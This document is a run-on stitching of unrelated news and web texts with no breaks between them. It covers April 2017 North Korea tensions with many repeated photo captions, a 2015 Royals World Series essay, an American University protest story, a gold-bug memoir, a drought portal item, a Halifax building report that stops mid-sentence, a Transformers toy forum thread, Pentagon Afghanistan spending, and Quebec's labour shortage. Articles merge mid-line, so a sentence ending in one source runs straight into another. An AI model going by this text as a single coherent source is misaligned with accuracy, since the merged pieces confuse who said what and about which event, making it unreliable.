The Blue House said in a statement Sunday that McMaster and South Korea's Director of National Security Kim Kwan Jin spoke on the phone and reaffirmed a previous bilateral deal on cost-bearing for the THAAD deployment.
South Korea's Defense Ministry has previously said that under an agreement reached during the administration of Trump's predecessor, Barack Obama, South Korea offers the land and facilities for THAAD but not the cost of operations.
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8:38 a.m.
President Donald Trump says he believes China's president has been putting pressure on North Korea as it pursues its missile and nuclear weapons programs.
In an interview with CBS' "Face the Nation," Trump says he won't be happy if North Korea conducts a nuclear test and that he believes Chinese President Xi Jinping won't be happy, either.
Asked if that means military action, Trump responded: "I don't know. I mean, we'll see."
The interview is set to air later Sunday in the U.S.
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5:35 a.m.
Pope Francis is warning that "a good part of humanity" will be destroyed if tensions with North Korea escalate, and he is calling for diplomacy and a revived United Nations to take the lead in negotiating a resolution.
Francis was asked as he traveled back to Rome from Egypt on Saturday local time (Sunday morning Seoul time) about North Korean ballistic missile tests and U.S. warnings of "catastrophic" consequences if the world fails to stop them. He was asked specifically what he would tell U.S. President Donald Trump, who has sent a U.S. carrier to conduct drills near the Koreas, and other leaders to try to diffuse the tensions.
Francis says he would urge them to use diplomacy and negotiation "because it's the future of humanity."
"Today, a wider war will destroy not a small part of humanity, but a good part of humanity and culture. Everything. Everything, no? It would be terrible. I don't think humanity today could bear it," he told reporters.
A South Korean protester holds up a card during a rally to oppose a plan to deploy the advanced U.S. missile defense system called Terminal High-Altitude Area Defense, or THAAD, near U.S. Embassy in Seoul, South Korea, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said. (AP Photo/Ahn Young-joon)
A man watches a TV news program reporting about North Korea's missile firing with a file footage, at Seoul Train Station in Seoul, South Korea, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the second such test-fire flop in recent weeks but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. The letters on top left, reading "North Korea fired a ballistic missile." (AP Photo/Lee Jin-man)
The USS Carl Vinson sails offshore Nagasaki prefecture, southern Japan Saturday, April 29, 2017. The USS Carl Vinson is heading north toward the Korean peninsula in a show of force after satellite images suggested North Korea may be preparing to conduct a nuclear test. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (Kyodo News via AP)
The USS Carl Vinson sails offshore Nagasaki prefecture, southern Japan Saturday, April 29, 2017. The USS Carl Vinson is heading north toward the Korean peninsula in a show of force after satellite images suggested North Korea may be preparing to conduct a nuclear test. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (Kyodo News via AP)
South Korean Foreign Ministry's spokesman Cho June-hyuck speaks to the media during a briefing at the Foreign Ministry in Seoul, South Korea, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Lee Jin-man)
South Korean Foreign Ministry's spokesman Cho June-hyuck speaks to the media during a briefing at the Foreign Ministry in Seoul, South Korea, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Lee Jin-man)
The USS Carl Vinson sails offshore Nagasaki prefecture, southern Japan Saturday, April 29, 2017. The USS Carl Vinson is heading north toward the Korean peninsula in a show of force after satellite images suggested North Korea may be preparing to conduct a nuclear test. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (Kyodo News via AP)
In this Tuesday, April 25, 2017 photo released by the U.S. Navy, the Arleigh Burke-class guided-missile destroyer USS Wayne E. Meyer, left, is underway alongside the Republic of Korea multirole guided-missile destroyer Wang Geon during a bilateral exercise. Wayne E. Meyer was on a scheduled western Pacific deployment with aircraft carrier USS Carl Vinson. (Mass Communication Specialist 3rd Class Kelsey L. Adams/U.S. Navy via AP)
FILE - In this April 15, 2017 file photo, North Korean leader Kim Jong Un waves during a military parade in Pyongyang, North Korea to celebrate the 105th birth anniversary of Kim Il Sung, the country's late founder and grandfather of current ruler Kim Jong Un. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, April 29, South Korea and the United States said, the second such test-fire flop in recent weeks but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Wong Maye-E, File)
The USS Carl Vinson sails offshore Nagasaki prefecture, southern Japan Saturday, April 29, 2017. The USS Carl Vinson is heading north toward the Korean peninsula in a show of force after satellite images suggested North Korea may be preparing to conduct a nuclear test. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (Kyodo News via AP)
The USS Carl Vinson sails offshore Nagasaki prefecture, southern Japan Saturday, April 29, 2017. The USS Carl Vinson is heading north toward the Korean peninsula in a show of force after satellite images suggested North Korea may be preparing to conduct a nuclear test. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (Kyodo News via AP)
U.S. Secretary of State Rex Tillerson addresses the Security Council at United Nations headquarters, Friday, April 28, 2017. Turning to diplomacy after flexing military muscle, the United States urged the U.N. Security Council on Friday to increase economic pressure on North Korea over its nuclear weapons program, leaning on China in particular to turn the screws on its wayward ally. (AP Photo/Richard Drew)
China's Foreign Minister Wang Yi speaks at a bilateral meeting with U.S. Secretary of State Rex Tillerson, unseen, adjacent to the Security Council at United Nations headquarters, Friday, April 28, 2017. (AP Photo/Richard Drew)
U.S. Secretary of State Rex Tillerson listens to the debate during a Ministerial level Security Council meeting on the situation in North Korea, Friday, April 28, 2017 at United Nations headquarters. (AP Photo/Mary Altaffer)
In this Wednesday, April 26, 2017 photo released by the U.S. Navy, the aircraft carrier USS Carl Vinson, center, leads the U.S. Navy guided-missile cruiser USS Lake Champlain, right front, and the Arleigh Burke-class guided-missile destroyer USS Michael Murphy with the Japan Maritime Self-Defense Force Atago-class guided-missile destroyer JS Ashigara, left front, and the JMSDF Murasame-class destroyer JS Samidare during a transit of the Philippine Sea toward the Korean Peninsula for an exercise with South Korea. (Mass Communication Specialist 2nd Class Sean M. Castellano/U.S. Navy via AP)
People walk past a TV news showing an image of North Korean troops while reporting North Korea's missile test, in Tokyo, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Koji Sasahara)
A man walks past a TV news showing an image of USS aircraft carrier Carl Vinson while reporting North Korea's missile test, in Tokyo, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Koji Sasahara)
People walk past a TV news showing an image of North Korean leader Kim Jong Un while reporting North Korea's missile test, in Tokyo, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Koji Sasahara)
A PAC-3 Patriot missile unit is deployed against the North Korea's missile firing at the Defense Ministry in Tokyo, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Koji Sasahara)
FILE - In this Saturday, April 15, 2017, file photo, a North Korean national flag flutters as soldiers in tanks salute to North Korean leader Kim Jong Un during a military parade in Pyongyang, North Korea to celebrate the 105th birth anniversary of Kim Il Sung, the country's late founder and grandfather of the current ruler. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, April 29, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Wong Maye-E, File)
South Korean Army K-9 self-propelled howitzers move during the annual exercise in Paju, South Korea, near the border with North Korea, Saturday, April 29, 2017. A North Korean mid-range ballistic missile apparently failed shortly after launch Saturday, South Korea and the United States said, the third test-fire flop just this month but a clear message of defiance as a U.S. supercarrier conducts drills in nearby waters. (AP Photo/Ahn Young-joon)I watched the last Super Bowl in Seattle. It was a hell of a football game. It followed what had been, for the Seahawks, a miraculous conference championship game, and in the Super Bowl itself, another miraculous event put the Seahawks on the verge of a title. And then, in the dying seconds, a controversial play was called, and they threw an interception from the one-yard line. That quickly, everything that happened before was erased. A feeling crept into the fans around me, and collectively they refused to feel it. Instead, they felt confusion. Why pass? Why not run? What if they had run? The real heartache did sink in in time, but still the confusion lingers. Why not run? Would they have won if they had run? As far as the sport is concerned, it’s the greatest unanswerable question imaginable. There is no closure to be found. The closure doesn’t exist.
I also watched the previous Super Bowl in Seattle. They say people were nervous about it, but the game was shockingly comfortable. On the very first play, the Seahawks recorded a safety. The eventual celebration knew nothing of the horror that was to come. It knew nothing of the fact that a year later, that celebratory feeling would be impossible to remember unblemished.
I’ve asked myself a hundred times what it would’ve felt like if the two Super Bowls were reversed. Seemed to me, it would’ve felt perfect.
By necessity, every baseball season ends with a champ. That’s precisely how the whole thing is designed. Every baseball season, then, ends with a party, and it ends with one team partying, and it ends with one team writing a good story for the people who follow it. Every season, 30 groups of mostly grown men show up to spring training and tell people they believe in themselves, and every season, one group has its confidence rewarded. When 30 different teams declare that the mission is winning the World Series, then in the end, you’re guaranteed one team that you could say knew all along.
Every champ has a good story. Every champ has its surprising moments, every champ has its surprising contributors, and every champ has overcome its own adversity. As baseball goes, there’s nothing real special about the fact that the 2015 Royals just won the title. Somebody had to. It’s not just that the Royals won that makes them so deeply fulfilling. It’s everything. It’s all the context. The Royals have authored one of the great baseball stories, a story that elevates them above some run-of-the-mill other champion.
A year ago, the background was: it’s the Royals. The pathetic, forgettable, good-for-nothing Royals. The laughingstock Royals, the sad-sack Royals, literally in the playoffs, literally in the World Series. They were fresh in the same way the recently successful Pirates had been fresh, only the Royals took it further. The Royals nearly won.
This year, the background was last year. It had to some extent helped to erase the misery previous, so the Royals didn’t feel like a pushover anymore, but the year ended with such a hollow feeling. You can watch Alex Gordon get held at third. You can read that it was smart for Alex Gordon to be held at third. You can believe that it was smart for Alex Gordon to be held at third. But there’s no knowing. There’s no knowing what could’ve happened, what would’ve happened, so there’s no closure. No way to fully come to terms. No way to help the fact that ending like that would just gnaw at you, for months, and beyond.
Sorry, I’m wrong. Not “no way.” It’s not that there was no way to come to accept the crushing defeat. There was one way. There was one way to achieve perfect closure, and the Royals just found it. The demons of uncertainty have been vanquished. The angels of certainty dance in their stead. There’s no more opponent for the Royals to rally past — they’ve accomplished the last of the accomplishments.
Adversity makes triumph feel more triumphant. The Royals overcame the agony of finishing last. And the Royals overcame the agony of finishing second. From that perspective, their story covers several bases, but there’s still so much more, the little details that give the Royals ever more color.
For the fan experience, it’s crucial to have a team with a lot of personality. The Royals just ooze it, from their catcher, from their center fielder, and they’re led by a village idiot who seems to never get anything wrong. There’s a clear sense of the Royals’ team character, and it can easily sweep you into its current. Another element the Royals have had is a lingering air of being an underdog, even though they finished with the AL’s best record. A part of that just carries over from the Royals being godawful for a couple of decades, but it’s also the improbability of so many of their wins. It feels like the Royals should lose a lot more, at the same time as it feels like the Royals might never lose again. This speaks to maybe the most appealing thing about the ballclub.
The 2015 Royals were clutch. That’s it. The book’s closed. They weren’t clutch until they lost Game 7 to Madison Bumgarner. They weren’t clutch until they lost Game 7 to Noah Syndergaard. They were clutch and they won a World Series in which they were clutch in their last game, a game they trailed 2-0 in the top of the ninth. We’re programmed to roll our eyes at the notion. We’ve all learned not to trust these things. And when 2016 rolls around, a lot of us will again be skeptical. But there’s no arguing what the Royals did. They did succeed more often when it mattered most, and while they didn’t do it every time, they did it enough. It became their identity, and the last game of the year was as Royals as it gets.
After any comeback, any player on any team will say his teammates share a never-say-die attitude. And as fans, that kind of nature, that refusal to give up taps into something deep within us. Most teams don’t come back very much. The Royals seemed to prefer it. During Game 5, when the Mets went ahead 2-0, people tweeted that the Royals had the Mets right where they wanted them, and I’m not even sure those were jokes. The Royals made you feel like those deficits just stirred something inside them. Nothing would be too much for them to overcome. These things are almost sickening when you hear them about other teams, but I know what I’ve watched.
Fans love for their teams to be clutch. It’s because it makes the team feel in some way special — sure, maybe the other team has as much or more talent, but this team can dig deep. This team can put forth more effort. Clutchness makes you feel like it’s about more than just raw ability. People like that in baseball. People like that outside of baseball.
During the regular season, you could say the Royals won more games than they were probably supposed to. And during the playoffs, they again won more games than they were probably supposed to. They had the advantage of an incredible late-inning bullpen. They had the benefit of dozens of late-inning hits. And then there were the misplays. The misplays, that have commanded so much of the overall attention.
The Royals might not make it out of the ALDS if not for Carlos Correa fumbling a potential double play. The ALCS brought us Ryan Goins leaving a blooper un-caught. In World Series Game 4, Daniel Murphy committed a crippling error. In World Series Game 5, the mistake was Lucas Duda’s. Duda’s mistake was unbelievable, but for it being completely believable, because it was the Royals, and we’d already seen that.
The temptation is to call it luck. If not for an unlucky Correa error, maybe the Astros kill off the Royals then and there. That doesn’t do it for me, and it doesn’t do it for me because baseball is about more than just pitching and hitting. Defense is a part of it. Royals opponents committed some crucial mistakes. Those mistakes were made because the Royals put the ball in play, or because the Royals acted aggressively on the basepaths. Forget whether Eric Hosmer breaking for home was “smart.” Here’s what happened: Hosmer broke for home, and Duda threw the ball away. Each misplay was a case of the Royals outplaying their opponent. Maybe not because the Royals played well — maybe just because the opponent played worse. Playing well is always relative. Usually, defenders make those plays. Usually, Jeurys Familia throws Alex Gordon a better sinker. One time, he didn’t.
Seemingly a few times too often for coincidence, the Royals had things go their way. It’s fine to be a skeptic. It’s okay if you don’t want to buy what the Royals are peddling. But there’s a reason why, every time we write about clutch, people push back. What a lot of analysis shows us is that, generally speaking, baseball is a game of dice. It’s a game of numbers and matchups and probabilities, something you can run through a simulator. History suggests we shouldn’t believe these Royals were special; we should just think an inordinate number of special things happened.
Here’s the thing: even if that’s true, it isn’t fun. Baseball is a game played between humans, and people would prefer to see the players as human. People want for some players and teams to respond differently to different situations, because the alternative is math, and most people don’t like to watch math as a hobby. You want for some narratives to be true, even if the media picks some stupid ones. You want the game to be influenced by human behavior, beyond just overall human ability. It makes the product more interesting. I can tell you this much — every time I’ve written something about a failure to uncover evidence of clutch performance, I’m kind of disappointed. I want this stuff to be real. I want to believe in the influence of pressure. I want to believe in resolve.
If any team could make you believe it could make good things happen at the right times, it was these 2015 Kansas City Royals. From the team perspective, and from the fan perspective, you couldn’t want anything more. Those Royals fans got everything. They were given a storybook kind of team, with a storybook timeline. Every World Series champion gets some books written about it in the aftermath, but these have a chance to be classics. It’s a book you can’t make bad. It’s the story of the unkillable Royals, who suffered the most agonizing defeat and decided then and there that wasn’t how they’d be remembered.
I’m not a Royals fan. I’m someone who had fun watching the Royals. I don’t get to join in on the celebration. But that’s okay, because I have my own thing to celebrate. The Royals have convinced me there’s so much still left to learn. As stale as baseball analysis can sometimes feel, the Royals have been something so fresh, a reminder there’s more than you can imagine left to figure out. It would’ve been neat if all the Royals criticism we published in the past proved to be valid. This is no less neat.
Congratulations, Royals. You’ve made a lot of people happy.A group of students at American University protested on campus this week to demand the sacking of a member of the school’s board of trustees because the trustee, Gary Cohn, met with President-elect Donald Trump to discuss serving as Trump’s energy secretary.
Cohn, the president of Goldman Sachs and a former commodities trader, met with Trump on Monday.
By Tuesday, reports Campus Reform, an American University student group called the Community Action and Social Justice Coalition had started a Facebook page entitled — in yuge font — “DUMP TRUMP, FIRE COHN.”
“American University Trustee Gary Cohn met with President-elect Donald Trump. Cohn, as a member of the board has voting power to influence our tuition, our status as a sanctuary campus, and whether our [sic] not we divest from fossil fuels and other oppressive industries,” the Facebook page reads, in part.
“There’s no place for Trump’s hate at American University, or on its Board of Trustees. Gary Cohn has already proven himself a special interest beholden to Wall Street and Big Oil — not the AU community.”
A year of tuition, fees and room and board at American University currently runs each student about $62,500. (RELATED: America’s 14 Best Safety Schools)
By way of comparison, the median income of an entire household in the United States is $56,516, according to the U.S. Census Bureau.
By way of further comparison, it would take an average household in Burkina Faso nearly 41 years to earn enough money to afford one person’s tuition, fees and room and board at American for a single year, according to figures from Gallup.
The protest against Cohn for having a meeting with Trump occurred on Nov. 30.
“Hey! Hey! Ho! Ho! These crooked execs have got to go,” was among the slogans shouted, according to Campus Reform.
“Who’s running our school? Goldman Sachs!” was another slogan.
The protesters marched to the house where American University president Cornelius Kerwin resides and delivered — or attempted to deliver — a letter explaining their demand that Cohn must go.
The day after Trump’s surprising presidential election victory, a somewhat rowdy group of American University students took out their frustration by burning American flags. (RELATED: NO SAFE SPACE: The Daily Caller’s YUGE Roundup Of Campus Freakouts After Trump’s Victory)
“Fuck Trump,” protesters chanted, according to Washington, D.C. Fox affiliate WTTG.
“Students have all these feelings of grief, disappointment, anger and they need a space in which to work them out,” an unidentified professor at the perennially safety school told the Fox station. “International students are scared. Students of color or LGBT queue are scared. How do we make them feel safe?”
Twitter video of the flag-burning fracas has become private since The Daily Caller initially publicized it.
Follow Eric on Twitter. Like Eric on Facebook. Send education-related story tips to [email protected] Salinas-Price, a hard currency advocate, and the founder of Mexico’s (MX: ) retail chain explains in the following guest post how he became a bug.
How I Became a Gold-Bug by Hugo Salinas Price
My father was Hugo Salinas Rocha -“Salinas” was his father’s surname, and “Rocha” was his mother’s surname; the custom of using both parents’ surnames is universal in Latin America. Father was a successful merchant in Mexico City, and in the 1930’s he ran a store in downtown Mexico City. The store belonged to a company founded by his father, Benjamin Salinas Westrup and to the partner he took into the business, his brother-in-law, Joel Rocha Barocio; the company name used their initials: “SyR” (the “y” means “and” in Spanish).
I was born in 1932. As a little boy, I loved to play in my father’s store after school hours, and one afternoon when I was perhaps eight years’ old, one of the salesmen took two gold coins out of his vest pockets (men wore vests in those days). They were the large, 1.2 ounce gold “Centenarios” that had been minted to celebrate the 100th Anniversary of Mexican Independence from Spain in 1810. The salesman balanced the two coins on his forefingers, and placing them near my ear, he gently touched one against the other. The sound was the delightfully pure ringing of gold!
A couple of years later, when my father was driving home after the store closed, he pulled out a lottery ticket from his coat and said: “This lottery ticket did not win a prize, but it did win a refund of $100 pesos. I’ll give you the refund. What would you like to buy with the refund?” I unhesitatingly replied: “Buy me some gold coins!” So the next day, a salesman from my father’s store took me on a short walk downtown, from the store to a side-street. Three or four men in suits and wearing hats – men wore hats in public, in the 1940’s – were posted along the sidewalk, and were clicking gold coins in their hands. They were gold-traders, and clicking gold coins was their way of attracting the attention of customers.
At that time, the silver pesos we used as money could be exchanged for gold pesos at a rate of five silver pesos for one gold peso. The smallest gold coin was the $2 peso coin, with 1.5 grams of pure gold content, so each one cost ten silver pesos. Thus, on a sidewalk in downtown Mexico City, my gift of $100 silver pesos was exchanged for ten $2 gold peso coins.
I went home with my gold coins, and promptly put them in my father’s safe, to which he gave me the combination. They were really the only thing of value in the safe, and from time to time, I used to open the safe to examine the beautiful gold coins. So that’s how I became a gold-bug at age 10.
When I was 14, in 1946, I was taken to school to my mother’s home-town in the US. The only person I knew there, was my maternal grandmother, but everyone knew who I was – the son of Norah, the Price girl who married a Mexican in 1931 and went off to Mexico to live. I was at school for three years of high school, and very much enjoyed my time there.
During my years at school it never crossed my mind to think that of all the people in that small town, I was very probably the only person – and only a youngster, at that – who had ever seen a gold coin, let alone owned one. Americans are still generally unaware of gold money, since they were deprived of it in 1933 by FDR, and only allowed to own gold again in 1971, thanks to the efforts of the great American Jim Blanchard.
What happened to my little stash of ten $2 peso gold coins? I still have them, after all these long years – I am now 84. Slowly but surely, they are growing in value, and they are still obtainable today, in exchange for $1,523 pesos each as of this date. These are really $1,523,000 pesos if we take away the artificial revaluation of our Mexican money in 1993, when every $1000 pesos was converted into $1 “new” peso. So my gold coins went from $10 silver pesos in 1942, to $1,523,000 paper pesos in the course of about 74 years.A civilizations lifeblood is available fresh water. Drought is a stealthy natural disaster, it doesn't have the huff and puff of a hurricane, the shock of an earthquake or the terror of a tornado- but it can be just as deadly. We have been covering the devastating drought in the Southeast, as well as the fires in California, now we have a tool to get better acquainted with this silent stalker.
The U.S. government unveiled the U.S. Drought Portal last week that effectively provides a comprehensive center where anyone with an internet connection can see the current drought conditions, impacts, and forecasts. It is actually quite intuitive, and easy to use. The front row seat to drought is part of the National Integrated Drought Information System (NIDIS), created in response to the emerging impact of extended drought conditions in the U.S., and recommended by the Western Governors Association in 2004 and enacted into law in 2006.Led by the National Oceanographic and Atmospheric Administration (NOAA), the Drought Portal is designed to be used for drought risk assessment and management.
"The U.S. Drought Portal centralizes drought information in an unprecedented manner, and paves the way for planned early warning system development pilots in select watersheds and states across the U.S.," said Roger Pulwarty, director of the NIDIS program office located on NOAA's campus in Boulder, Colorado.
The portal is also the spearhead of the U.S. commitment to cultivating information services for drought-risk management and adaptation internationally.
Via: NOAA :: Drought Portalvia HRM
I guess we know what all that screaming is about.
Developer Joe Ramia wants to change the exterior design elements of his downtown Nova Centre complex, including the elevation above Market Street and the materials to be used at the Centre’s base and tower.
That news comes from an information item headed to next week’s meeting of the Design Review Committee. A new substantive site plan for the development will now need to be brought to the committee in order to approve the proposed changes.
The exact nature of the changes hasn’t been finalized or sent to HRM, and city spokesperson Brendan Elliott couldn’t offer any other details.
“We honestly don’t have any more. This isn’t a case of me trying to hold back information. It’s all very fluid at this point…we don’t know yet.”
Major projects planner Richard Harvey writes in next week’s information item that due to the extent of the modifications and “the length of time that has passed since design of the building was outlined to the public,” a new round of public notification will be required before a full substantive site plan approval process is started in order to consider approving the changes.
Full details of what Ramia is planning won’t be known to residents, neighbours and the city until that time.
“We’ll have to wait,” says Elliott, “as will the public.”
One person eager to see the modifications is Halifax South Downtown councillor Waye Mason.
“I am interested to see what changes are proposed given the concrete pour has been completed for a few months and the form of the building is largely already complete," Mason wrote in a message to The Coast. “It is not usually my practice to attend DRC but I think I will make an exception for this one to understand
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rir72 on November 28th, 2015 @ 10:27pm CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744679)
Posted by
Being a torso kind of ruined this figure. Hope third partys can help save it. Posted by Rated X on November 29th, 2015 @ 2:37am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744682)
Posted by
although being a combiner and forming the body is a fun idea and it looks kind of neat i think i would rather have it like the bird and cat as separate forms that combine into one larger form have each one be the size of a leader and the two combined would make for a very imposing Skylinx Posted by Ultra Markus on November 29th, 2015 @ 2:53am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744686)
Posted by
Noideaforaname wrote: Eck, this guy's kinda like the recent Sky-Byte, where the new figure isn't particularly better than the original, it's just... different. It went against a more realistic alt mode and less clunky robot modes, and ditched the distinctive two-beast feature to make him yet another generic combiner torso. Meh.
The main selling point is that we're not likely to see another Sky Lynx any time soon, and that's a terrible reason to buy something.
... these are all good points and they've ruined my excitement for this figure. Also that GAPING HOLE in the middle hurts.... these are all good points and they've ruined my excitement for this figure. Also that GAPING HOLE in the middle hurts. Posted by RhA on November 29th, 2015 @ 3:47am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744692)
Posted by
Rated X wrote: Double post. Other sites let you delete your own comments would be good here as well.
And let people delete their inflammatory posts? Noooooo.
Back to the topic at hand! And let people delete their inflammatory posts? Noooooo.Back to the topic at hand! Posted by Burn on November 29th, 2015 @ 5:07am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744697)
Posted by
I must admit I was more enthusiastic about this guy when he was first announced, will still get him nonetheless. I have silver bolt and not a huge fan of the remoulds thus far... Posted by frogbat on November 29th, 2015 @ 7:07am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744708)
Posted by
Skylynx is an original mold in an ocean of repaints. That alone earns him much love. Posted by Ironhidensh on November 29th, 2015 @ 8:52am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744710)
Posted by
It would be too bad if the shuttle part cant detach from the base. Even so, the thing look ridiculously AWESOME. I kinda love oddballs TFs like these. Yet, I never had any interest of owning the G1 original. Strange... Posted by -Kanrabat- on November 29th, 2015 @ 9:00am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744716)
Posted by
-Kanrabat- wrote: It would be too bad if the shuttle part cant detach from the base.
It cannot. It cannot. Posted by King Kuuga on November 29th, 2015 @ 9:48am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744718)
Posted by
-Kanrabat- wrote: It would be too bad if the shuttle part cant detach from the base. Even so, the thing look ridiculously AWESOME. I kinda love oddballs TFs like these. Yet, I never had any interest of owning the G1 original. Strange...
The G1 Original is pretty awesome. And the size is great! Scales really well with Legends TFs. The G1 Original is pretty awesome. And the size is great! Scales really well with Legends TFs. Posted by william-james88 on November 29th, 2015 @ 9:52am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744725)
Posted by
-Kanrabat- wrote: It would be too bad if the shuttle part cant detach from the base. Even so, the thing look ridiculously AWESOME. I kinda love oddballs TFs like these. Yet, I never had any interest of owning the G1 original. Strange...
I feel the exact same way. I've never felt any need for the G1 figure, but the CW fig is on the want list.
Sky Lynx is a bit of an odd turducken to me. The only thing I know about the character is that brief appearance in the current RID comics. I'm quite a few issues behind at his point and to the best of my knowledge he is still MIA.
Well off to the tf wiki to get my learn on. I feel the exact same way. I've never felt any need for the G1 figure, but the CW fig is on the want list.Sky Lynx is a bit of an odd turducken to me. The only thing I know about the character is that brief appearance in the current RID comics. I'm quite a few issues behind at his point and to the best of my knowledge he is still MIA.Well off to the tf wiki to get my learn on. Posted by carytheone on November 29th, 2015 @ 10:48am CST
Re: Combiner Wars Sky Lynx: Additional In-hand Images (1744753)
Posted by
Bit of a let down hat he won't be able to separate, but I'll still get him regardless, Skylynx is one of my favorites. I'm still hoping the only thing necessary to take him apart is a few screws or pins, and then it would be easy to make him split. Posted by Whifflefire on November 29th, 2015 @ 1:46pm CSTPentagon officials charged with helping develop Afghanistan’s economy spent five years wining and dining themselves on the public dime to the tune of $150 million.
The latest Afghanistan spending controversy centers on the Task Force for Business and Stability Operations (TFBSO), whose tiny staff somehow spent $150 million on “private villas, security guards and luxury meals while operating in the country between 2010 and 2014,” The Intercept reported.
In a letter (pdf) to Defense Secretary Ashton Carter, John Sopko, the Special Inspector General for Afghanistan Reconstruction (SIGAR) pointed out that TFBSO had far less expensive options, such as quartering its personnel on military bases. Sopko said it was “unclear what benefit the U.S. received as the result of TFBSO’s decision.”
TFBSO received $766 million from Congress to rebuild Afghanistan’s business infrastructure. About 20% of this was used on accommodations for TFBSO employees, who numbered between five and 10 employees, according to Sopko’s office. The task force’s spending on itself included “Western-style hotel accommodations,” such as flat-screen televisions, mini-refrigerators and DVD players. TFBSO ate well too. Their meals were “at least 3 stars” and each offered “at least two entree choices and three side order choices.”
TFBSO is the same group that spent $43 million on a natural gas refueling station in the northern Afghan town of Sheberghan, “roughly 140 times more than what analysts say the project should have cost,” Murtaza Hussain wrote at The Intercept.
The resort-style lodgings were organized by Paul Brinkley, whom the George W. Bush administration put in charge of TFBSO in 2006 when it was still based in Baghdad, according to The Daily Beast. The following year, Brinkley was accused by members of his staff of mismanaging government money and engaging in public drunkenness and sexual harassment. Brinkley resigned from TFBSO in 2011, after he’d set up his employees in the Afghan villas.
-Noel Brinkerhoff, Steve Straehley
To Learn More:
Pentagon Task Force Spent Nearly $150M on Villas and 3-Star Meals in Afghanistan (by Murtaza Hussain, The Intercept)
Pentagon Crew Lived Large in $150 Million Afghan Villas (by David Axe, Daily Beast)
Defense Department Spent $150 Million on Villas, Private Security Guards in Afghanistan (by Lucy Westcott, Newsweek)
Letter to U.S. Defense Secretary Ashton Carter (John F. Sopko, Special Inspector General for Afghanistan Reconstruction) (pdf)
Pentagon Stonewalls U.S. Watchdog’s Inquiries into $800 Million Afghanistan Program (by Noel Brinkerhoff, AllGov)
Latest Spending Outrage in Afghanistan: Pentagon’s $43 Million Gas Station (by Noel Brinkerhoff, AllGov)A transport company with dozens of trucks sitting idle. A McDonald's willing to pay well above minimum wage. A manufacturer forced to turn down a lucrative contract.
Tales like these are emerging from across Quebec as the province grapples with a growing labour crunch.
"This is the kind of thing we will see more and more of, unfortunately," said Jean-Guy Côté, associate director of the Institut du Québec, a public policy think tank.
"This is a new reality for the last year."
Quebec has, in a sense, become a victim of its own success.
With the economy chugging along, the unemployment rate has in recent months been hovering around six per cent, nearly the lowest it's been since Statistics Canada began keeping track in 1976.
The rate dropped even further last month, to 5.4 per cent, with 16,200 more jobs created, according to numbers released last Friday.
Quebec now has the lowest unemployment rate in Canada, tied with Manitoba. And yet employers are concerned.
Take, for example, Benny & Co., an expanding rotisserie chicken chain in Montreal. It hopes to hire 350 workers over the next year.
But Nicolas Filiatrault, the company's chief financial officer, said it will be a challenge to fill the positions. "Like everybody else in the business, it's hard to get employees."
Tap here for a full list of unemployment figures
Increase immigration, report suggests
The historic shortage is being caused by the combination of economic growth and an aging population leaving the labour market, Côté said. It's likely to be a continuing problem in the years to come, as the province's workforce gets even older.
Côté was one of the authors of an Institut du Québec study published last month that urged Quebec to increase its immigration quotas to counter the labour shortage.
Nathalie Joyal, sales director of Sixpro, says the company has struggled to find staff. (Frank Desoer/Radio-Canada)
It also recommended policies to ensure women stay in the workforce longer.
The current birth rate of 1.7 children per woman and 50,000 new immigrants a year is "insufficient" to maintain the current labour pool, the report said.
